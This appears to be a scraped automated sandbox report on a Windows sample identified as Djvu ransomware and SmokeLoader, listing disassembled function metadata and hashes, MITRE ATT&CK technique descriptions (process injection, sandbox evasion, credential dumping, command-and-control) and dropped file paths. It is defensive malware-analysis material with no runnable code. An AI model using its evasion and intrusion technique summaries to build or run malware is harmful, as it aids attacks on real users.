Part of subcall function 0270F914: std::exception::exception.LIBCMT ref: 0270F92E

__CxxThrowException@8.LIBCMT ref: 0270FC82
std::exception::exception.LIBCMT ref: 0270FC9B
__CxxThrowException@8.LIBCMT ref: 0270FCB0

Strings

leM, xrefs: 0270FCA8

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$std::regex_error::regex_error
String ID: leM
API String ID: 2862078307-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 5ef46ee075b7861d98eed9573ce5e97b6c64fefc53c9aa6139838a1f5e26878c
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 3A11FE79C0020DBBCF00FFA5D455CDDBBBDAB05384F5085A6AD2897644EB74A7488F98

Uniqueness

Uniqueness Score: -1.00%

Function 026D1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026D19C6
__CxxThrowException@8.LIBCMT ref: 026D19F1
__CxxThrowException@8.LIBCMT ref: 026D1A1A
__CxxThrowException@8.LIBCMT ref: 026D1A4B
_memset.LIBCMT ref: 026D1A6A
__CxxThrowException@8.LIBCMT ref: 026D1A90
_malloc.LIBCMT ref: 026D1AA0
_memset.LIBCMT ref: 026D1AAB
_sprintf.LIBCMT ref: 026D1ACE

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 94636b9159b41f747080499c7224dbd06cd795472ca4b7c3e76a1d6c8812bbe8
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: A8516C71D40209ABDF10DBA5DC85FEFBBB9FB05744F140029FA09B6280E7745A018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 026CF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026CF284
__CxxThrowException@8.LIBCMT ref: 026CF2AF
__CxxThrowException@8.LIBCMT ref: 026CF2DE
__CxxThrowException@8.LIBCMT ref: 026CF30F
_memset.LIBCMT ref: 026CF32E
__CxxThrowException@8.LIBCMT ref: 026CF354
_sprintf.LIBCMT ref: 026CF373

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 9012e9b28b79e45b2a051ef6c1cea6d20b4f38cb9bbce71f5508c7f9bf1b14fc
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 3B5150B1D40209FADF11DFA1DD46FFEBB79EB05704F20402AF905B6180D779AA058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 026CF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 026CF4B7
__CxxThrowException@8.LIBCMT ref: 026CF4E2
__CxxThrowException@8.LIBCMT ref: 026CF504
__CxxThrowException@8.LIBCMT ref: 026CF535
_memset.LIBCMT ref: 026CF554
__CxxThrowException@8.LIBCMT ref: 026CF57A
_sprintf.LIBCMT ref: 026CF594

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: c3c670bc5d308e20915150068f6661cdf4dd85ea434956b405bfbe88be9fa452
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: AC516271D40249ABDF21DFA1DD45FFEBBB9FB05744F20012AFA05B6280D774A9058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 026CF010 Relevance: 10.6, APIs: 7, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 026CF01F

Part of subcall function 026E1602: __FF_MSGBANNER.LIBCMT ref: 026E1619
Part of subcall function 026E1602: __NMSG_WRITE.LIBCMT ref: 026E1620

_malloc.LIBCMT ref: 026CF02B
_free.LIBCMT ref: 026CF044
_free.LIBCMT ref: 026CF065
_malloc.LIBCMT ref: 026CF06D
_sprintf.LIBCMT ref: 026CF0C0
_free.LIBCMT ref: 026CF0E5

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: _free_malloc$_sprintf
String ID:
API String ID: 3586245868-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: ca840adf4747c290dfe731c0319ce68cb3490b20c7fb283dbbabac4cf16a962b
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 53113DB25016503ACA7172B40C21FFF37DE9F46711F0401AEFE5DE1140EA185E04A7B5

Uniqueness

Uniqueness Score: -1.00%

Function 027866D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 027866DD

Part of subcall function 026E59BF: __calloc_crt.LIBCMT ref: 026E59E2
Part of subcall function 026E59BF: __initptd.LIBCMT ref: 026E5A04

__calloc_crt.LIBCMT ref: 02786700
__get_sys_err_msg.LIBCMT ref: 0278671E
__invoke_watson.LIBCMT ref: 0278673B
__get_sys_err_msg.LIBCMT ref: 0278676D
__invoke_watson.LIBCMT ref: 0278678B

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: dc4dc1d2e3d6bc2528f108728551af1b60fafe25530b690daeb510878eb5837a
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 6311AB716416157BEF227A35DC44BBB739DDF00764F500466FE05E7240EB22DD004AE8

Uniqueness

Uniqueness Score: -1.00%

Function 026E2AD0 Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 026E2B2E
_memcpy_s.LIBCMT ref: 026E2BA0
__read_nolock.LIBCMT ref: 026E2BFE
__filbuf.LIBCMT ref: 026E2C21
_memset.LIBCMT ref: 026E2C65

Part of subcall function 026E5BA8: __getptd_noexit.LIBCMT ref: 026E5BA8

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 6138098546ced0d10a8b529bc11823f75ef26f9ce9716c37159b02f5b6a634c4
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 9A518070A0220ADBDF288E79CDA466E77BBAF40728F148729EC37962D0D7709951CB44

Uniqueness

Uniqueness Score: -1.00%

Function 026D2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026D26DB
_memset.LIBCMT ref: 026D2A30
_memset.LIBCMT ref: 026D2AC0

Strings

D, xrefs: 026D2AC8

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 427cfe3cae54e8fdfad0906e51666ef3cf5099269edb607cf787638b4423c477
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: DBE16C71D4021EAACF24DBA0CD99FEEB7B8BF04304F144069E909E6191EB746A85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 026CD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 026CD8EA

Strings

, xrefs: 026CDADB
(, xrefs: 026CDAE9
$, xrefs: 026CDAE2

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 101c65e1fe378a2a54cf7b1bbd3c7f773ded8ccf8f933b56f036670580ec3dcc
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 3791AEB1D00258AAEF20DFA0CC59BEEBBB5EF05304F24416DD405B7280DBB65A48CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0270FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0270FBF1
__CxxThrowException@8.LIBCMT ref: 0270FC06

Strings

TeM, xrefs: 0270FBFB, 0270FBE7
TeM, xrefs: 0270FBFE

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: TeM$TeM
API String ID: 3728558374-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 8df812d36aa5746f4b54ff0cb31e422c35285c321c0588477ae7c10b696a354e
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 0BD06775C0020CBBCF00EFA5D459CDDBBB9AB05344B5084A6AA1897245EA74A7498F98

Uniqueness

Uniqueness Score: -1.00%

Function 026CD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 026E197D: __wfsopen.LIBCMT ref: 026E1988

_fgetws.LIBCMT ref: 026CD15C

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 5b5f73b12d8e49383546d7dcb0549962640a941a8cf603986e0a97e1cd9d8b51
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: D3919072D00219ABCF21EFA4C9847BEB7B5EF05304F24053DE91AA3340E779AA14CB95

Uniqueness

Uniqueness Score: -1.00%

Function 026CD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 026CD77E
_malloc.LIBCMT ref: 026CD7B2
_malloc.LIBCMT ref: 026CD7C1
_fprintf.LIBCMT ref: 026CD815

Memory Dump Source

Source File: 0000000E.00000002.499664935.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_26c0000_D7DE.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 7571ac4715cfc124cb4c301b5bed7e49cddf467ae140165e4bd01b710eca4f95
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: A1A151B1C00288EBEF11EFA4C859BEEBB76AF15304F14402CD50577291D7B65A48CFA6

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\geo[1].json

C:\Users\user\AppData\Local\Temp\20C0.exe

C:\Users\user\AppData\Local\Temp\361E.exe

C:\Users\user\AppData\Local\Temp\56E6.exe

C:\Users\user\AppData\Local\Temp\BB5C.dll

C:\Users\user\AppData\Local\Temp\C40D.exe

C:\Users\user\AppData\Local\Temp\D7DE.exe

C:\Users\user\AppData\Local\Temp\F5C7.exe

C:\Users\user\AppData\Roaming\bhseufd

C:\Users\user\AppData\Roaming\bhseufd:Zone.Identifier

C:\Users\user\AppData\Roaming\csjjafb

\Device\ConDrv

Static File Info

General

Windows Analysis Report
file.exe

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre